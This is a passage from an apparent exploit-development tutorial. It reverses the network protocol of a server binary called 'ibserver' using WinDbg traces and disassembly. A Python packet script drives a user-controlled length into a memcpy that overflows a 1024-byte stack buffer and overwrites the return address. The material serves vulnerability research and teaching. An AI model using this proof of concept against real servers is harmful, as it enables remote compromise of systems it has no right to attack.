cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12ead:
00412ead 8b45c8          mov     eax,dword ptr [ebp-38h] ss:0023:010efda0=00a82fb8
0:003> t
eax=00a82fb8 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000
eip=00412eb0 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12eb0:
00412eb0 83c00c          add     eax,0Ch
0:003> t
eax=00a82fc4 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000
eip=00412eb3 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
ibserver+0x12eb3:
00412eb3 50              push    eax
0:003> t
eax=00a82fc4 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000
eip=00412eb4 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
ibserver+0x12eb4:
00412eb4 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:010efde0=00a88134
0:003> t
eax=00a82fc4 ebx=00aa0388 ecx=00a88134 edx=00a82fbc esi=00aa0758 edi=00000000
eip=00412eb7 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
ibserver+0x12eb7:
00412eb7 51              push    ecx
0:003> t
eax=00a82fc4 ebx=00aa0388 ecx=00a88134 edx=00a82fbc esi=00aa0758 edi=00000000
eip=00412eb8 esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
ibserver+0x12eb8:
00412eb8 e883130000      call    ibserver+0x14240 (00414240)
0:003> p
eax=00000000 ebx=00aa0388 ecx=00a880b4 edx=00a880b4 esi=00aa0758 edi=00000000
eip=00412ebd esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12ebd:
00412ebd 83c408          add     esp,8
Oh noez! We called the same function as before but this time we returned false. This cant be good for our progress, so let's do it again, except this time we will step into the function and see what's up. In this function we see some familiar function calls, some familiar data access, but we also see something interesting that catches my eye. First we read another dword off of our packet. Then that data gets used in a subsequent call to a function we have seen before.
0x0041431F mov     ecx, [ebp+user_buffer]
0x00414322 xor     edx, edx
0x00414324 mov     dx, [ecx]
0x00414327 push    edx                               ; our short
0x00414328 mov     eax, [ebp+user_buffer]
0x0041432B mov     ecx, [eax+4]
0x0041432E push    ecx
0x0041432F mov     edx, [ebp+recv_info_struct]
0x00414332 push    edx
0x00414333 mov     eax, [ebp+recv_info_struct]
0x00414336 mov     ecx, [eax+4]
0x00414339 call    dword ptr [ecx+8]                 ; 00410e46: do_our_receive_copying()
0x0041433C add     esp, 0Ch
0x0041433F test    eax, eax
0x00414341 jnz     short loc_414347
Ahh if we remember do_our_receive_copying takes a "count" argument. The first time we encoutered this was after our initial read and was 4 bytes. This time however we are supplying the count. This is a good thing, but why did we fail. The reason is obvious once we realize we are asking for a specific number of bytes. In the initial tests we were using large values in our user supplied string. But the total length of the string was less than 100 characters. So for instance, a short of 0x4142 would never be filled and the socket would close before all the data could be read. This was the reason the function was returning false when we were expecting true. If we tune our script to send a large amount of data, we should be good.

New script:
opnum = "\x00\x00\x00\x14"
unknown = "\x00\x00\x00\x03"
length1 = 0x100
payload1 = "A" * length1
length2 = 0x1000
payload2 = "Z" * length2

buffer = opnum
buffer += unknown
buffer += struct.pack(">L", length1)
buffer += payload1
buffer += struct.pack(">L", length2)
buffer += payload2

s.send(buffer)
I don't normally like having unknown information during protocol reversing but for the sake of time I have been keeping an eye on that value in case it's used again. So far I haven't really seen it being touched so I wont concern myself with it. After changing the script and re-running it we can see we now return true from this function.
Breakpoint 0 hit
eax=00a9bbf0 ebx=00aa0388 ecx=00000000 edx=00a9bbe8 esi=00aa0758 edi=00000000
eip=00412eb3 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
ibserver+0x12eb3:
00412eb3 50              push    eax
0:003> t
eax=00a9bbf0 ebx=00aa0388 ecx=00000000 edx=00a9bbe8 esi=00aa0758 edi=00000000
eip=00412eb4 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
ibserver+0x12eb4:
00412eb4 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:010efde0=00a965d4
0:003> t
eax=00a9bbf0 ebx=00aa0388 ecx=00a965d4 edx=00a9bbe8 esi=00aa0758 edi=00000000
eip=00412eb7 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
ibserver+0x12eb7:
00412eb7 51              push    ecx
0:003> t
eax=00a9bbf0 ebx=00aa0388 ecx=00a965d4 edx=00a9bbe8 esi=00aa0758 edi=00000000
eip=00412eb8 esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
ibserver+0x12eb8:
00412eb8 e883130000      call    ibserver+0x14240 (00414240)
0:003> p
eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a9bbf0 esi=00aa0758 edi=00000000
eip=00412ebd esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12ebd:
00412ebd 83c408          add     esp,8
And we trace out of this function since we are good to go.
0x004103B3 mov     edx, [ebp+arg_4]
0x004103B6 push    edx
0x004103B7 mov     eax, [ebp+var_4]
0x004103BA add     eax, 80h
0x004103BF push    eax
0x004103C0 call    do_xdr_processing
0x004103C0 
0x004103C5 add     esp, 8
After the return, I have labeled this function as do_xdr_processing since that is what appears to be happening. Tracing this function out is a little tedious and proves to be of little interest. The interesting parts are 2 comparisons to our opnum (0x14).
0x004103E1 loc_4103E1:                               ; CODE XREF: sub_410221+1A9j
0x004103E1         mov     eax, [ebp+our_opnum]
0x004103E4         cmp     dword ptr [eax], 6
0x004103E7         jnz     short loc_4103F3
Which check our code for 6.
0x0041047B mov     eax, [ebp+our_opnum]
0x0041047E cmp     dword ptr [eax], 47h
0x00410481 jnz     short loc_410488
Checking for 47.

Since we dont hit any of those we continue on to the calling function. The calling function is a lot larger and more complex than the previous ones we have looked at. After tracing through it doesnt appear to do much with our data. So in the name of brevity I wont paste it. However we do end up at a difficult spot.
0x004054B7 loc_4054B7:                               ; CODE XREF: sub_404F0E+585j
0x004054B7         push    0
0x004054B9         push    1
0x004054BB         push    3
0x004054BD         mov     ecx, dword ptr [ebp+arg_4]
0x004054C0         and     ecx, 0FFFFh
0x004054C6         push    ecx
0x004054C7         push    offset sub_40C085
0x004054CC         call    start_new_thread
The last function we hit creates a new thread. You can tell this by doing a down graph of the xrefs from.



So lets set a break point on the address our thread will be executing after its created.
Breakpoint 0 hit
eax=00000000 ebx=00aa0388 ecx=0000005a edx=ffffffff esi=00aa0758 edi=00000000
eip=004054cc esp=010efdf0 ebp=010eff18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x54cc:
004054cc e861e00300      call    ibserver+0x43532 (00443532)
0:003> ~
   0  Id: 7b4.11c Suspend: 1 Teb: 7ffdf000 Unfrozen
   1  Id: 7b4.33c Suspend: 1 Teb: 7ffde000 Unfrozen
   2  Id: 7b4.7f4 Suspend: 1 Teb: 7ffdc000 Unfrozen
.  3  Id: 7b4.56c Suspend: 1 Teb: 7ffda000 Unfrozen
   4  Id: 7b4.4f4 Suspend: 1 Teb: 7ffd9000 Unfrozen
0:003> g
Breakpoint 1 hit
eax=77c4ba26 ebx=00aa0418 ecx=00aa0418 edx=00060000 esi=00aa0388 edi=010efd88
eip=0040c085 esp=00ecff84 ebp=00ecffb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0xc085:
0040c085 55              push    ebp
0:005> ~
   0  Id: 7b4.11c Suspend: 1 Teb: 7ffdf000 Unfrozen
   1  Id: 7b4.33c Suspend: 1 Teb: 7ffde000 Unfrozen
   2  Id: 7b4.7f4 Suspend: 1 Teb: 7ffdc000 Unfrozen
   3  Id: 7b4.56c Suspend: 1 Teb: 7ffda000 Unfrozen
   4  Id: 7b4.4f4 Suspend: 1 Teb: 7ffd9000 Unfrozen
.  5  Id: 7b4.118 Suspend: 1 Teb: 7ffdd000 Unfrozen
Just to demonstrate, you can see I break before that start_new_thread function and windbg shows us in TID 3 and our break point on the target function (0x0040C085) shows TID 5. Lets see what this thread is going to be doing. Well, we see a lot of stuff going on here. The function has many nodes so i'll trace through looking for anything important.
eax=00000000 ebx=00aa0418 ecx=00ecff58 edx=00a9bab4 esi=00aa0388 edi=010efd88
eip=0040c295 esp=00ecff50 ebp=00ecff80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0xc295:
0040c295 52              push    edx
0:002> dc edx
00a9bab4  00000014 00000000 00000000 00000000  ................
00a9bac4  00000000 00000000 00000000 00000000  ................
00a9bad4  00000000 00000000 00000000 00000000  ................
00a9bae4  00000000 00000000 00000000 00000000  ................
00a9baf4  00000000 00000000 00000000 00000000  ................
00a9bb04  00000000 00000000 00000000 00000000  ................
00a9bb14  00000000 00000000 00000000 00000000  ................
00a9bb24  00000000 00000000 00000000 00000000  ................

...

0:002> t
eax=00a9b800 ebx=00aa0418 ecx=00a96554 edx=00a9bab4 esi=00aa0388 edi=010efd88
eip=0040c2a1 esp=00ecff44 ebp=00ecff80 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
ibserver+0xc2a1:
0040c2a1 e81696ffff      call    ibserver+0x58bc (004058bc)
After a bit of manual single stepping, we can see a function taking our opnum as one of the arguments. Stepping into this, we see what equates to gold in the vulnerability research realm.



This is the same as our previous xdr processing function. Except for the fact that each of these functions call a unique method for handling each opnum. In essence we now have exponentially increased our reachable code and therefore chances of a bug being discovered. This is also a good case for writing a fuzzer which will hit all of these code paths. Tracing to the switch statement we verify what is going on.
eax=00a9bab4 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88
eip=0040597d esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x597d:
0040597d 8b850cffffff    mov     eax,dword ptr [ebp-0F4h] ss:0023:00ecfe48=00000014
0:002> t
eax=00000014 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88
eip=00405983 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x5983:
00405983 83e801          sub     eax,1
0:002> t
eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88
eip=00405986 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x5986:
00405986 89850cffffff    mov     dword ptr [ebp-0F4h],eax ss:0023:00ecfe48=00000014
0:002> t
eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88
eip=0040598c esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x598c:
0040598c 83bd0cffffff5c  cmp     dword ptr [ebp-0F4h],5Ch ss:0023:00ecfe48=00000013
0:002> t
eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88
eip=00405993 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
ibserver+0x5993:
00405993 0f87ac060000    ja      ibserver+0x6045 (00406045)              [br=0]
Again we see a limit check to make sure our opnum is less than 0x5c (you could set your fuzzer to never exceed this as well).
eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88
eip=00405999 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
ibserver+0x5999:
00405999 8b950cffffff    mov     edx,dword ptr [ebp-0F4h] ss:0023:00ecfe48=00000013
0:002> t
eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000013 esi=00aa0388 edi=010efd88
eip=0040599f esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
ibserver+0x599f:
0040599f 33c9            xor     ecx,ecx
0:002> t
eax=00000013 ebx=00aa0418 ecx=00000000 edx=00000013 esi=00aa0388 edi=010efd88
eip=004059a1 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x59a1:
004059a1 8a8aa5614000    mov     cl,byte ptr ibserver+0x61a5 (004061a5)[edx] ds:0023:004061b8=02
0:002> t
eax=00000013 ebx=00aa0418 ecx=00000002 edx=00000013 esi=00aa0388 edi=010efd88
eip=004059a7 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x59a7:
004059a7 ff248df5604000  jmp     dword ptr ibserver+0x60f5 (004060f5)[ecx*4] ds:0023:004060fd=00405ab4
0:002> t
eax=00000013 ebx=00aa0418 ecx=00000002 edx=00000013 esi=00aa0388 edi=010efd88
eip=00405ab4 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x5ab4:
00405ab4 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] ss:0023:00ecff48=00a9b800
Again a demonstration on how a switch statement is compiled down into assembly. If we look at these functions in the function table we see.
0x004060F5 off_4060F5 dd offset loc_4059AE           ; DATA XREF: process_command+EBr
0x004060F9         dd offset loc_405B13
0x004060FD         dd offset loc_405AB4
0x00406101         dd offset loc_405C93
0x00406105         dd offset loc_405A95
0x00406109         dd offset loc_405BEA
0x0040610D         dd offset loc_405C0D
0x00406111         dd offset loc_405BCB
0x00406115         dd offset loc_405BAC
0x00406119         dd offset loc_405DB5
0x0040611D         dd offset loc_405C4E
0x00406121         dd offset loc_405C70
0x00406125         dd offset loc_405CF0
0x00406129         dd offset loc_405D35
0x0040612D         dd offset loc_405D13
0x00406131         dd offset loc_405D73
0x00406135         dd offset loc_405DD4
0x00406139         dd offset loc_405DF7
0x0040613D         dd offset loc_405E15
0x00406141         dd offset loc_405D96
0x00406145         dd offset loc_405E33
0x00406149         dd offset loc_405E51
0x0040614D         dd offset loc_405E6F
0x00406151         dd offset loc_405E8D
0x00406155         dd offset loc_405EAB
0x00406159         dd offset loc_405D54
0x0040615D         dd offset loc_405EC9
0x00406161         dd offset loc_405F2C
0x00406165         dd offset loc_405F4F
0x00406169         dd offset loc_405F71
0x0040616D         dd offset loc_405F90
0x00406171         dd offset loc_405FCE
0x00406175         dd offset loc_405FED
0x00406179         dd offset loc_406029
0x0040617D         dd offset loc_405FAF
0x00406181         dd offset loc_405C30
0x00406185         dd offset loc_405CD1
0x00406189         dd offset loc_405AD7
0x0040618D         dd offset loc_405CB2
0x00406191         dd offset loc_405AF5
0x00406195         dd offset loc_406009
0x00406199         dd offset loc_405F09
0x0040619D         dd offset loc_405EE7
0x004061A1         dd offset loc_406045
All of these are unique and potentially accessible. Following our opnum we hit its handler.
eax=00000013 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88
eip=00405ac1 esp=00ecfe44 ebp=00ecff3c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x5ac1:
00405ac1 52              push    edx
0:002> t
eax=00000013 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88
eip=00405ac2 esp=00ecfe40 ebp=00ecff3c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x5ac2:
00405ac2 8b45f4          mov     eax,dword ptr [ebp-0Ch] ss:0023:00ecff30=00000014
0:002> t
eax=00000014 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88
eip=00405ac5 esp=00ecfe40 ebp=00ecff3c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x5ac5:
00405ac5 50              push    eax
0:002> t
eax=00000014 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88
eip=00405ac6 esp=00ecfe3c ebp=00ecff3c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x5ac6:
00405ac6 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:00ecff44=00a96554
0:002> t
eax=00000014 ebx=00aa0418 ecx=00a96554 edx=00a9bbe4 esi=00aa0388 edi=010efd88
eip=00405aca esp=00ecfe38 ebp=00ecff3c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x5aca:
00405aca e8a00b0000      call    ibserver+0x666f (0040666f)
As we trace through this function we begin to see wonderful results.
eax=00000000 ebx=00aa0418 ecx=00a96554 edx=00000000 esi=00aa0388 edi=010efd88
eip=00406828 esp=00ecfbac ebp=00ecfe30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x6828:
00406828 8b5588          mov     edx,dword ptr [ebp-78h] ss:0023:00ecfdb8=00a953f0
0:002> t
eax=00000000 ebx=00aa0418 ecx=00a96554 edx=00a953f0 esi=00aa0388 edi=010efd88
eip=0040682b esp=00ecfbac ebp=00ecfe30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x682b:
0040682b 52              push    edx
0:002> dc edx
00a953f0  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ
00a95400  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ
00a95410  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ
00a95420  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ
00a95430  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ
00a95440  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ
00a95450  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ
00a95460  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ
This is our second buffer that occurs after our second length argument.
0:002> t
eax=00000000 ebx=00aa0418 ecx=00a96554 edx=00a953f0 esi=00aa0388 edi=010efd88
eip=0040682c esp=00ecfba8 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x682c:
0040682c 668b45ec        mov     ax,word ptr [ebp-14h]    ss:0023:00ecfe1c=1000
0:002> t
eax=00001000 ebx=00aa0418 ecx=00a96554 edx=00a953f0 esi=00aa0388 edi=010efd88
eip=00406830 esp=00ecfba8 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x6830:
00406830 50              push    eax
0:002> t
This is our length2.
eax=00001000 ebx=00aa0418 ecx=00ecfdbc edx=00a953f0 esi=00aa0388 edi=010efd88
eip=00406835 esp=00ecfba0 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x6835:
00406835 8b9580fdffff    mov     edx,dword ptr [ebp-280h] ss:0023:00ecfbb0=00a963f4
0:002> t
eax=00001000 ebx=00aa0418 ecx=00ecfdbc edx=00a963f4 esi=00aa0388 edi=010efd88
eip=0040683b esp=00ecfba0 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x683b:
0040683b 52              push    edx
0:002> dc edx
00a963f4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a96404  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a96414  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a96424  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a96434  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a96444  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a96454  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a96464  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
Our first buffer
...
0:002> t
eax=00001000 ebx=00aa0418 ecx=00ecfdbc edx=00a963f4 esi=00aa0388 edi=010efd88
eip=0040683c esp=00ecfb9c ebp=00ecfe30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x683c:
0040683c 668b4584        mov     ax,word ptr [ebp-7Ch]    ss:0023:00ecfdb4=0100
0:002> t
eax=00000100 ebx=00aa0418 ecx=00ecfdbc edx=00a963f4 esi=00aa0388 edi=010efd88
eip=00406840 esp=00ecfb9c ebp=00ecfe30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x6840:
00406840 50              push    eax
0:002> t
Our length1
...
0:002> t
eax=00000100 ebx=00aa0418 ecx=00ecfdc0 edx=00a963f4 esi=00aa0388 edi=010efd88
eip=00406845 esp=00ecfb94 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x6845:
00406845 e880360300      call    ibserver+0x39eca (00439eca)
Well know that we are finally (sorry it took so long) at a function taking our actual arguments, we may be in business. This function uses our length values heavily. In various places we see checks to make sure we have positive values, all our pointers are legit, and indexes into our user supplied string. However, in the middle of the function is pretty interesting.
0x0043A0C5 mov     ecx, [ebp+our_length1]
0x0043A0CB and     ecx, 0FFFFh
0x0043A0D1 mov     esi, [ebp+user_supplied_string]
0x0043A0D4 mov     edi, [ebp+target_stack_buffer]
0x0043A0D7 mov     eax, ecx
0x0043A0D9 shr     ecx, 2
0x0043A0DC rep movsd
Since I happen to be labeling things as I go this is a pretty obvious problem. We can supply the size of our inline memcpy, the source is our user supplied string, and the destination is a stack buffer. If we trace the buffer back we see it is of size 1024.
var_424= dword ptr -424h    

0x0043A039 lea     edx, [ebp+var_424]
0x0043A03F mov     [ebp+target_stack_buffer], edx
We get 0x400 after subtracting the other locals to get 1024. Since I now know I can control significant pieces of data I am going back to my script before I continue. I know that I can supply the length, I know the stack buffer is 1024 bytes and I know I can control what gets written.
opnum = "\x00\x00\x00\x14"
unknown = "\x00\x00\x00\x03"
length1 = 0x1000
payload1 = "A" * length1
length2 = 0x2000
payload2 = "Z" * length2

buffer = opnum
buffer += unknown
buffer += struct.pack(">L", length1)
buffer += payload1
buffer += struct.pack(">L", length2)
buffer += payload2
Lets do it.
Breakpoint 0 hit
eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00aa0388 edi=010efd88
eip=0043a0c5 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x3a0c5:
0043a0c5 8b8d28f7ffff    mov     ecx,dword ptr [ebp-8D8h] ss:0023:00ecf2b4=00001000
0:005> t
eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00aa0388 edi=010efd88
eip=0043a0cb esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x3a0cb:
0043a0cb 81e1ffff0000    and     ecx,0FFFFh
0:005> t
eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00aa0388 edi=010efd88
eip=0043a0d1 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x3a0d1:
0043a0d1 8b7510          mov     esi,dword ptr [ebp+10h] ss:0023:00ecfb9c=00a954f4
0:005> t
eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00a954f4 edi=010efd88
eip=0043a0d4 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x3a0d4:
0043a0d4 8b7de4          mov     edi,dword ptr [ebp-1Ch] ss:0023:00ecfb70=00ecf768
0:005> t
eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00a954f4 edi=00ecf768
eip=0043a0d7 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x3a0d7:
0043a0d7 8bc1            mov     eax,ecx
0:005> t
eax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00a954f4 edi=00ecf768
eip=0043a0d9 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x3a0d9:
0043a0d9 c1e902          shr     ecx,2
0:005> t
eax=00001000 ebx=00aa0418 ecx=00000400 edx=00a91000 esi=00a954f4 edi=00ecf768
eip=0043a0dc esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x3a0dc:
0043a0dc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00ecf768=00000000 ds:0023:00a954f4=41414141
0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00ecfb8c 0040684a 00ecfdc0 00001000 00a954f4 ibserver+0x3a0dc
00ecfe30 00405acf 00a96554 00000014 00a9bbe4 ibserver+0x684a
00ecff3c 0040c2a6 00a96554 00a9b800 00a9bab4 ibserver+0x5acf
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll - 
00ecff80 77c3a3b0 0000005a 010efd88 00000000 ibserver+0xc2a6
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
00ecffb4 7c80b50b 00aa0418 010efd88 00000000 MSVCRT!endthreadex+0xa9
00ecffec 00000000 77c3a341 00aa0418 00000000 kernel32!GetModuleFileNameA+0x1b4
0:005> !exchain
00ecffa4: MSVCRT!except_handler3+0 (77c35c94)
  CRT scope  0, filter: MSVCRT!endthreadex+af (77c3a3b6)
                func:   MSVCRT!endthreadex+c3 (77c3a3ca)
00ecffdc: kernel32!FindAtomW+94 (7c8399f3)
0:005> p
(4a4.64c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00001000 ebx=00aa0418 ecx=000001da edx=00a91000 esi=00a95d8c edi=00ed0000
eip=0043a0dc esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x3a0dc:
0043a0dc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00ed0000=???????? ds:0023:00a95d8c=41414141
0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00ecfb8c 41414141 41414141 41414141 41414141 ibserver+0x3a0dc
